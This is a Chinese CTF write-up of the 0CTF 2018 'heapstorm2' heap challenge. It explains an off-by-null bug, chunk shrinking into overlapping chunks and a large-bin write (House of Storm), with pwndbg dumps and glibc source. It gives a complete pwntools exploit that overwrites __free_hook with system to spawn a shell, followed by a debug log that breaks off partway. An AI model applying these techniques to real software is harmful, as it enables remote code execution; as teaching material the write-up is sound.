-
-
[原创]ctf pwn中的unsorted bin利用及chunk shrink——0ctf2018 heapstorm2 writeup
-
2018-4-13 01:39 14978
-
[原创]ctf pwn中的unsorted bin利用及chunk shrink——0ctf2018 heapstorm2 writeup
题目链接
https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2
前置知识
- mallopt
int mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。
M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_MXFAST设置为0,禁止使用fastbins
源码
102 #ifndef M_MXFAST 103 # define M_MXFAST 1 /* maximum request size for "fastbins" */ 104 #endif 5137 int __libc_mallopt (int param_number, int value) 5138 { 5139 mstate av = &main_arena; 5140 int res = 1; 5141 5142 if (__malloc_initialized < 0) 5143 ptmalloc_init (); 5144 __libc_lock_lock (av->mutex); 5145 5146 LIBC_PROBE (memory_mallopt, 2, param_number, value); 5147 5148 /* We must consolidate main arena before changing max_fast 5149 (see definition of set_max_fast). */ 5150 malloc_consolidate (av); 5151 5152 switch (param_number) 5153 { 5154 case M_MXFAST: 5155 if (value >= 0 && value <= MAX_FAST_SIZE) 5156 { 5157 LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ()); 5158 set_max_fast (value); 5159 } 5160 else 5161 res = 0; 5162 break; 5163 5164 case M_TRIM_THRESHOLD: 5165 do_set_trim_threshold (value); 5166 break; 5167 5168 case M_TOP_PAD: 5169 do_set_top_pad (value); 5170 break; 5171 5172 case M_MMAP_THRESHOLD: 5173 res = do_set_mmap_threshold (value); 5174 break; 5175 5176 case M_MMAP_MAX: 5177 do_set_mmaps_max (value); 5178 break; 5179 5180 case M_CHECK_ACTION: 5181 do_set_mallopt_check (value); 5182 break; 5183 5184 case M_PERTURB: 5185 do_set_perturb_byte (value); 5186 break; 5187 5188 case M_ARENA_TEST: 5189 if (value > 0) 5190 do_set_arena_test (value); 5191 break; 5192 5193 case M_ARENA_MAX: 5194 if (value > 0) 5195 do_set_arena_max (value); 5196 break; 5197 } 5198 __libc_lock_unlock (av->mutex); 5199 return res; 5200 }
利用linux的/dev/urandom文件产生较好的随机数
https://blog.csdn.net/stpeace/article/details/45829161int randNum = 0; int fd = open("/dev/urandom", O_RDONLY); if(-1 == fd) { printf("error\n"); return 1; } read(fd, (char *)&randNum, sizeof(int)); close(fd);
分析
checksec
parallels@ubuntu:~/ctf/0ctf2018/heapstorm2$ checksec heapstorm2 [*] '/home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序分析
关闭fastbin的分配
对存放堆指针和size的地方进行随机化
读入随机数前
pwndbg> b *555555554000+0x0000000000000CA6 Breakpoint 1 at 0x8159b10f76 pwndbg> r Starting program: /home/parallels/ctf/0ctf2018/heapstorm2/heapstorm2 ... ... Breakpoint *0x555555554000+0x0000000000000CA6 pwndbg> x /50gx 0x13370800 0x13370800: 0x0000000000000000 0x0000000000000000 0x13370810: 0x0000000000000000 0x0000000000000000 0x13370820: 0x0000000000000000 0x0000000000000000 0x13370830: 0x0000000000000000 0x0000000000000000 0x13370840: 0x0000000000000000 0x0000000000000000 0x13370850: 0x0000000000000000 0x0000000000000000 0x13370860: 0x0000000000000000 0x0000000000000000 0x13370870: 0x0000000000000000 0x0000000000000000 0x13370880: 0x0000000000000000 0x0000000000000000 0x13370890: 0x0000000000000000 0x0000000000000000 0x133708a0: 0x0000000000000000 0x0000000000000000 0x133708b0: 0x0000000000000000 0x0000000000000000 0x133708c0: 0x0000000000000000 0x0000000000000000 0x133708d0: 0x0000000000000000 0x0000000000000000 0x133708e0: 0x0000000000000000 0x0000000000000000 0x133708f0: 0x0000000000000000 0x0000000000000000 0x13370900: 0x0000000000000000 0x0000000000000000 0x13370910: 0x0000000000000000 0x0000000000000000 0x13370920: 0x0000000000000000 0x0000000000000000 0x13370930: 0x0000000000000000 0x0000000000000000 0x13370940: 0x0000000000000000 0x0000000000000000 0x13370950: 0x0000000000000000 0x0000000000000000 0x13370960: 0x0000000000000000 0x0000000000000000 0x13370970: 0x0000000000000000 0x0000000000000000 0x13370980: 0x0000000000000000 0x0000000000000000
读入随机数后
pwndbg> x /50gx 0x13370800 0x13370800: 0x72cec7f9b44fb49e 0x438137bc554b405e 0x13370810: 0x7a4f542a3248dba2 0x0000000000000000 0x13370820: 0x0000000000000000 0x0000000000000000 0x13370830: 0x0000000000000000 0x0000000000000000 0x13370840: 0x0000000000000000 0x0000000000000000 0x13370850: 0x0000000000000000 0x0000000000000000
用如图上数字1处的随机数去覆盖后面的16个的每一行的左八个字节(堆指针)。用如图上数字2处的随机数去覆盖后面的16个的每一行的右八个字节(size)。
用图上数字3处的随机数去覆盖数字4处。
主函数
添加
更新
有off by null漏洞
删除
显示
漏洞分析
在update的时候有一个off by null。
其他
之前做堆的题都不建结构体,全靠脑补…这次建一下,让反编译出来的好看一点。
1.添加segment
2.建结构体
3.改函数参数
4.最后的修改结果
利用
shrink the chunk来overlap
前提:存在一个off-by-null漏洞(已满足)
目的:创造出overlap chunk,进而更改其他chunk中的内容
主要利用unsorted,small bin会unlink合并的特性来达到我们的目的。
1.伪造prev_size
alloc(0x18) #0 alloc(0x508) #1 alloc(0x18) #2 update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size alloc(0x18) #3 alloc(0x508) #4 alloc(0x18) #5 update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size alloc(0x18) #6
2.free 1,于是下一个chunk的inuse和prev_size将被设置。
图示灰色的地方代表被free掉,然后触发off by null,修改1的size。
free(1) update(0, 'h'*(0x18-12)) #off-by-one
3.将free的1再分配出来,然后再分配一块空间到原来的1中,注意大小不能刚好使得这个chunk和2相邻,否则会把2的inuse位置1,不能在后续触发unlink。
然后再free 2,就能触发unlink,然后1和7,overlap
alloc(0x18) #1 alloc(0x4d8) #7 free(1) free(2) #backward consolidate
pwndbg> x /500gx 0x55f082807020 0x55f082807020: 0x49495f4d524f5453 0x0000000000000021 0x55f082807030: 0x00007f685fb20b78 0x00007f685fb20b78 0x55f082807040: 0x0000000000000020 0x00000000000004e0-->7 0x55f082807050: 0x0000000000000000 0x0000000000000000 0x55f082807060: 0x0000000000000000 0x0000000000000000 0x55f082807070: 0x0000000000000000 0x0000000000000000 0x55f082807080: 0x0000000000000000 0x0000000000000000 0x55f082807090: 0x0000000000000000 0x0000000000000000 0x55f0828070a0: 0x0000000000000000 0x0000000000000000 0x55f0828070b0: 0x0000000000000000 0x0000000000000000 0x55f0828070c0: 0x0000000000000000 0x0000000000000000 0x55f0828070d0: 0x0000000000000000 0x0000000000000000 0x55f0828070e0: 0x0000000000000000 0x0000000000000000 0x55f0828070f0: 0x0000000000000000 0x0000000000000000 0x55f082807100: 0x0000000000000000 0x0000000000000000 0x55f082807110: 0x0000000000000000 0x0000000000000000 0x55f082807120: 0x0000000000000000 0x0000000000000000 0x55f082807130: 0x0000000000000000 0x0000000000000000 0x55f082807140: 0x0000000000000000 0x0000000000000000 0x55f082807150: 0x0000000000000000 0x0000000000000000 0x55f082807160: 0x0000000000000000 0x0000000000000000 0x55f082807170: 0x0000000000000000 0x0000000000000000 0x55f082807180: 0x0000000000000000 0x0000000000000000 0x55f082807190: 0x0000000000000000 0x0000000000000000 0x55f0828071a0: 0x0000000000000000 0x0000000000000000 0x55f0828071b0: 0x0000000000000000 0x0000000000000000 0x55f0828071c0: 0x0000000000000000 0x0000000000000000 0x55f0828071d0: 0x0000000000000000 0x0000000000000000 0x55f0828071e0: 0x0000000000000000 0x0000000000000000 0x55f0828071f0: 0x0000000000000000 0x0000000000000000 0x55f082807200: 0x0000000000000000 0x0000000000000000 0x55f082807210: 0x0000000000000000 0x0000000000000000 0x55f082807220: 0x0000000000000000 0x0000000000000000 0x55f082807230: 0x0000000000000000 0x0000000000000000 0x55f082807240: 0x0000000000000000 0x0000000000000000 0x55f082807250: 0x0000000000000000 0x0000000000000000 0x55f082807260: 0x0000000000000000 0x0000000000000000 0x55f082807270: 0x0000000000000000 0x0000000000000000 0x55f082807280: 0x0000000000000000 0x0000000000000000 0x55f082807290: 0x0000000000000000 0x0000000000000000 0x55f0828072a0: 0x0000000000000000 0x0000000000000000 0x55f0828072b0: 0x0000000000000000 0x0000000000000000 0x55f0828072c0: 0x0000000000000000 0x0000000000000000 0x55f0828072d0: 0x0000000000000000 0x0000000000000000 0x55f0828072e0: 0x0000000000000000 0x0000000000000000 0x55f0828072f0: 0x0000000000000000 0x0000000000000000 0x55f082807300: 0x0000000000000000 0x0000000000000000 0x55f082807310: 0x0000000000000000 0x0000000000000000 0x55f082807320: 0x0000000000000000 0x0000000000000000 0x55f082807330: 0x0000000000000000 0x0000000000000000 0x55f082807340: 0x0000000000000000 0x0000000000000000 0x55f082807350: 0x0000000000000000 0x0000000000000000 0x55f082807360: 0x0000000000000000 0x0000000000000000 0x55f082807370: 0x0000000000000000 0x0000000000000000 0x55f082807380: 0x0000000000000000 0x0000000000000000 0x55f082807390: 0x0000000000000000 0x0000000000000000 0x55f0828073a0: 0x0000000000000000 0x0000000000000000 0x55f0828073b0: 0x0000000000000000 0x0000000000000000 0x55f0828073c0: 0x0000000000000000 0x0000000000000000 0x55f0828073d0: 0x0000000000000000 0x0000000000000000 0x55f0828073e0: 0x0000000000000000 0x0000000000000000 0x55f0828073f0: 0x0000000000000000 0x0000000000000000 0x55f082807400: 0x0000000000000000 0x0000000000000000 0x55f082807410: 0x0000000000000000 0x0000000000000000 0x55f082807420: 0x0000000000000000 0x0000000000000000 0x55f082807430: 0x0000000000000000 0x0000000000000000 0x55f082807440: 0x0000000000000000 0x0000000000000000 0x55f082807450: 0x0000000000000000 0x0000000000000000 0x55f082807460: 0x0000000000000000 0x0000000000000000 0x55f082807470: 0x0000000000000000 0x0000000000000000 0x55f082807480: 0x0000000000000000 0x0000000000000000 0x55f082807490: 0x0000000000000000 0x0000000000000000 0x55f0828074a0: 0x0000000000000000 0x0000000000000000 0x55f0828074b0: 0x0000000000000000 0x0000000000000000 0x55f0828074c0: 0x0000000000000000 0x0000000000000000 0x55f0828074d0: 0x0000000000000000 0x0000000000000000 0x55f0828074e0: 0x0000000000000000 0x0000000000000000 0x55f0828074f0: 0x0000000000000000 0x0000000000000000 0x55f082807500: 0x0000000000000000 0x0000000000000000 0x55f082807510: 0x0000000000000000 0x0000000000000000 0x55f082807520: 0x0000000000000000 0x524f545350414549 0x55f082807530: 0x0000000000000510 0x0000000000000020
当free 2的时候,因为2是small bin的大小的缘故,所以会检测上一个chunk是否inused.
它会根据prev_size找到1,然后做unlink。
此时,unsortbin存放着这块大的chunk,所以下次malloc会用这一块先分配。
pwndbg> unsortedbin unsortedbin all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */ pwndbg> x /20gx 0x555555757020 0x555555757020: 0x49495f4d524f5453 0x0000000000000531 0x555555757030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757040: 0x0000000000000000 0x0000000000000000 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000000 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000
可以看出通过chunk shrink,实现了overlap。
alloc(0x38) #1 alloc(0x4e8) #2
0x555555757020 FASTBIN { prev_size = 5280856823766668371, size = 65, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757060 PREV_INUSE { prev_size = 0, size = 1265, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ... ... pwndbg> x /100gx 0x555555757020 0x555555757020: 0x49495f4d524f5453 0x0000000000000041-->1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000000-->7 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x00000000000004f1-->2 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000
重复一遍之前的过程,再次构造overlap
free(4) update(3, 'h'*(0x18-12)) #off-by-one alloc(0x18) #4 alloc(0x4d8) #8 free(4) free(5) #backward consolidate alloc(0x48) #4
然后4和8交叠。
pwndbg> x /50gx 0x555555757570 0x555555757570: 0x49495f4d524f5453 0x0000000000000021 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x00000000000004e1-->8 0x5555557575a0: 0x0000000000000000 0x0000000000000000 0x5555557575b0: 0x0000000000000000 0x0000000000000000 .... .... .... unlink之后 .... .... .... pwndbg> x /50gx 0x555555757570 0x555555757570: 0x49495f4d524f5453 0x0000000000000051-->4 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x0000000000000000-->8 0x5555557575a0: 0x0000000000000000 0x0000000000000000 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x00000000000004e1 0x5555557575d0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x5555557575e0: 0x0000000000000000 0x0000000000000000 0x5555557575f0: 0x0000000000000000 0x0000000000000000 0x555555757600: 0x0000000000000000 0x0000000000000000 0x555555757610: 0x0000000000000000 0x0000000000000000
利用unsorted bin中的chunk插入到large bin写数据,绕过对unsortbin中chunk的size大小的检查
free(2) alloc(0x4e8) #2 free(2) storage = 0x13370000 + 0x800 fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2)
free 2前
pwndbg> unsortedbin unsortedbin all: 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557575c0
free 2后
pwndbg> unsortedbin unsortedbin all: 0x555555757060 —▸ 0x5555557575c0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */
将2再分配出来,这时0x5555557575c0掉链,进入large bins中,再free 2,0x555555757060再次进入unsortedbin。
pwndbg> unsortedbin unsortedbin all: 0x555555757060 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757060 /* '`puUUU' */ pwndbg> largebins largebins 0x400: 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x7ffff7dd1f68 0x440: 0x7ffff7dd1f78 (main_arena+1112) ◂— 0x7ffff7dd1f78 0x480: 0x7ffff7dd1f88 (main_arena+1128) ◂— 0x7ffff7dd1f88 0x4c0: 0x5555557575c0 —▸ 0x7ffff7dd1f98 (main_arena+1144) ◂— 0x5555557575c0
然后要fake 0x555555757060的后向指针。
storage = 0x13370000 + 0x800 fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1)
fake前
pwndbg> x /20gx 0x555555757020 0x555555757020: 0x49495f4d524f5453 0x0000000000000041 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000000 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x00000000000004f1 0x555555757070: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000
fake后
pwndbg> x /20gx 0x555555757020 0x555555757020: 0x49495f4d524f5453 0x0000000000000041 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000000 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x00000000000004f1 0x555555757070: 0x0000000000000000 0x00000000133707e0 0x555555757080: 0x524f545350414548 0x0000000049495f4d 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000
可以看出bk指针被改写。
然后fake
p2 = p64(0)*4 + p64(0) + p64(0x4e1) # size p2 += p64(0) + p64(fake_chunk+8) # bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2)
fake前
wndbg> x/20gx 0x555555757590 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x0000000000000000 0x0000000000000000 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x00000000000004e1 0x5555557575d0: 0x00007ffff7dd1f98 0x00007ffff7dd1f98 0x5555557575e0: 0x00005555557575c0 0x00005555557575c0 0x5555557575f0: 0x0000000000000000 0x0000000000000000 0x555555757600: 0x0000000000000000 0x0000000000000000 0x555555757610: 0x0000000000000000 0x0000000000000000
fake后
pwndbg> x/20gx 0x555555757590 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x0000000000000000 0x0000000000000000 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x00000000000004e1 0x5555557575d0: 0x0000000000000000 0x00000000133707e8 0x5555557575e0: 0x0000000000000000 0x00000000133707c3 0x5555557575f0: 0x524f545350414548 0x0000000049495f4d 0x555555757600: 0x0000000000000000 0x0000000000000000 0x555555757610: 0x0000000000000000 0x0000000000000000 0x555555757620: 0x0000000000000000 0x0000000000000000
try: # if the heap address starts with "0x56", you win alloc(0x48) #2 except EOFError: # otherwise crash and try again r.close() continue
当再分配一个chunk的时候,会先检查unsorted bin中有没有合适的,如果没有就把unsortbin中的chunk插入large bin中。
看源码
else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; .... .... .... // 如果size<large bin中最后一个chunk即最小的chunk,就直接插到最后 if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); // 否则正向遍历,fwd起初是large bin第一个chunk,也就是最大的chunk。 // 直到满足size>=large bin chunk size while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else // 插入 { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
当找到插入的位置后,看源码里具体的插入操作。
注意large bin要维持两个双向链表,多了一个chunk size链表,所以要在两个链表中插入。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; .... .... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
在此题中,fwd只可能是我们放入large bin的唯一一个chunk,而它的bk_nextsize和bk都是我们可以控制的(如上一步的改写)
victim->bk_nextsize = fwd->bk_nextsize; victim->bk_nextsize->fd_nextsize = victim; ---->fwd->bk_nextsize->fd_nextsize=victim
victim就是我们要插入的堆地址。
bk_nextsize被写为0x13370800-0x20-0x18-5,那么*(0x13370800-0x20-0x18-5+0x20)=victim
fwd->bk=victim;
bk被写为0x13370800-0x20+8,那么*(0x13370800 -0x20+8 ) = victim。
当第一个chunk从unsorted bin插入到large bin之后,再到unsorted bin的下一个chunk,如果不满足分配则插入到large bin中。
而下一个chunk是我们伪造的(0x13370800-0x20)
而这个地方已经有值了,也就是我们写入的
(0x13370800-0x20-0x18-5+0x20)=0x133707e3=victim
pwndbg> x/gx 0x133707e3 0x133707e3: 0x000056213c4c8060
chunk的size,即0x13370800-0x20+0x8=0x133707e8,就是\x55或者\x56。
# if the heap address starts with "0x56", you win alloc(0x48) #2
之所以要求是\x56,因为需要满足一个检查。
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem)));
即chunk的mmap标志位置位。
之前我调试的时候都是打开的ASLR,现在关掉看一下,多运行几次总能有一次成功的。
去掉标志位,那么它的大小就是0x50,就满足alloc(0x48),就会返回给我们,成功返回0x13370800-0x10之后,就是传统的做法了。
leak heap,leak libc,覆盖free_book值为system
getshell
exp
#!/usr/bin/env python # encoding: utf-8 #flag{Seize it, control it, and exploit it. Welcome to the House of Storm.} import itertools from hashlib import sha256 from pwn import remote, process, ELF from pwn import context from pwn import p32,p64,u32,u64 context(arch='amd64', os='linux', log_level='info') r = None def proof(): chal = r.recvuntil('\n').strip() print chal for x in itertools.product(range(0, 0xff), repeat=4): x = ''.join(map(chr, x)) if sha256(chal+x).digest().startswith('\0\0\0'): r.send(x) return print 'Not Found' exit() def alloc(size): r.sendline('1') r.recvuntil('Size: ') assert(12 < size <= 0x1000) r.sendline('%d' % size) r.recvuntil('Command: ') def update(idx, content): r.sendline('2') r.recvuntil('Index: ') r.sendline('%d' % idx) r.recvuntil('Size: ') r.sendline('%d' % len(content)) r.recvuntil('Content: ') r.send(content) r.recvuntil('Command: ') def free(idx): r.sendline('3') r.recvuntil('Index: ') r.sendline('%d' % idx) r.recvuntil('Command: ') def view(idx): r.sendline('4') r.recvuntil('Index: ') r.sendline('%d' % idx) m = r.recvuntil('Command: ') pos1 = m.find(']: ') + len(']: ') pos2 = m.find('\n1. ') return m[pos1:pos2] def exploit(host): global r port = 5655 while True: r = remote(host, port) proof() r.recvuntil('Command: ') alloc(0x18) #0 alloc(0x508) #1 alloc(0x18) #2 update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size alloc(0x18) #3 alloc(0x508) #4 alloc(0x18) #5 update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size alloc(0x18) #6 free(1) update(0, 'h'*(0x18-12)) #off-by-one alloc(0x18) #1 alloc(0x4d8) #7 free(1) free(2) #backward consolidate alloc(0x38) #1 alloc(0x4e8) #2 free(4) update(3, 'h'*(0x18-12)) #off-by-one alloc(0x18) #4 alloc(0x4d8) #8 free(4) free(5) #backward consolidate alloc(0x48) #4 free(2) alloc(0x4e8) #2 free(2) storage = 0x13370000 + 0x800 fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2) try: # if the heap address starts with "0x56", you win alloc(0x48) #2 except EOFError: # otherwise crash and try again r.close() continue st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) update(2, st) st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3) + p64(8) update(0, st) leak = view(1) heap = u64(leak) print 'heap: %x' % heap st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8) update(0, st) leak = view(1) unsorted_bin = u64(leak) main_arena = unsorted_bin - 0x58 libc_base = main_arena - 0x399b00 print 'libc_base: %x' % libc_base libc_system = libc_base + 0x3f480 free_hook = libc_base + 0x39b788 st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\0' update(0, st) update(1, p64(libc_system)) r.sendline('3') r.recvuntil('Index: ') r.sendline('%d' % 2) break if __name__ == '__main__': host = '202.120.7.205' exploit(host) r.interactive()
log
[+] Opening connection to 202.120.7.205 on port 5655: Done [DEBUG] Received 0x10 bytes: '0NrK7lj7hzsvZNOW' [DEBUG] Received 0x1 bytes: '\n' 0NrK7lj7hzsvZNOW [DEBUG] Sent 0x4 bytes: 00000000 01 31 ef d8 │·1··││ 00000004 [DEBUG] Received 0xf6 bytes: ' __ __ _____________ __ __ ___ ____\n' ' / //_// ____/ ____/ | / / / / / | / __ )\n' ' / ,< / __/ / __/ / |/ / / / / /| | / __ |\n' ' / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n' '/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n' [DEBUG] Received 0x54 bytes: '\n' '===== HEAP STORM II =====\n' '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 0 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1288\n' [DEBUG] Received 0x12 bytes: 'Chunk 1 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 2 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1272\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x4f8 bytes: 00000000 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 │hhhh│hhhh│hhhh│hhhh│ * 000004f0 00 05 00 00 00 00 00 00 │····│····││ 000004f8 [DEBUG] Received 0x10 bytes: 'Chunk 1 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 3 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1288\n' [DEBUG] Received 0x12 bytes: 'Chunk 4 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 5 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1272\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x4f8 bytes: 00000000 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 │hhhh│hhhh│hhhh│hhhh│ * 000004f0 00 05 00 00 00 00 00 00 │····│····││ 000004f8 [DEBUG] Received 0x10 bytes: 'Chunk 4 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 6 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x10 bytes: 'Chunk 1 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' 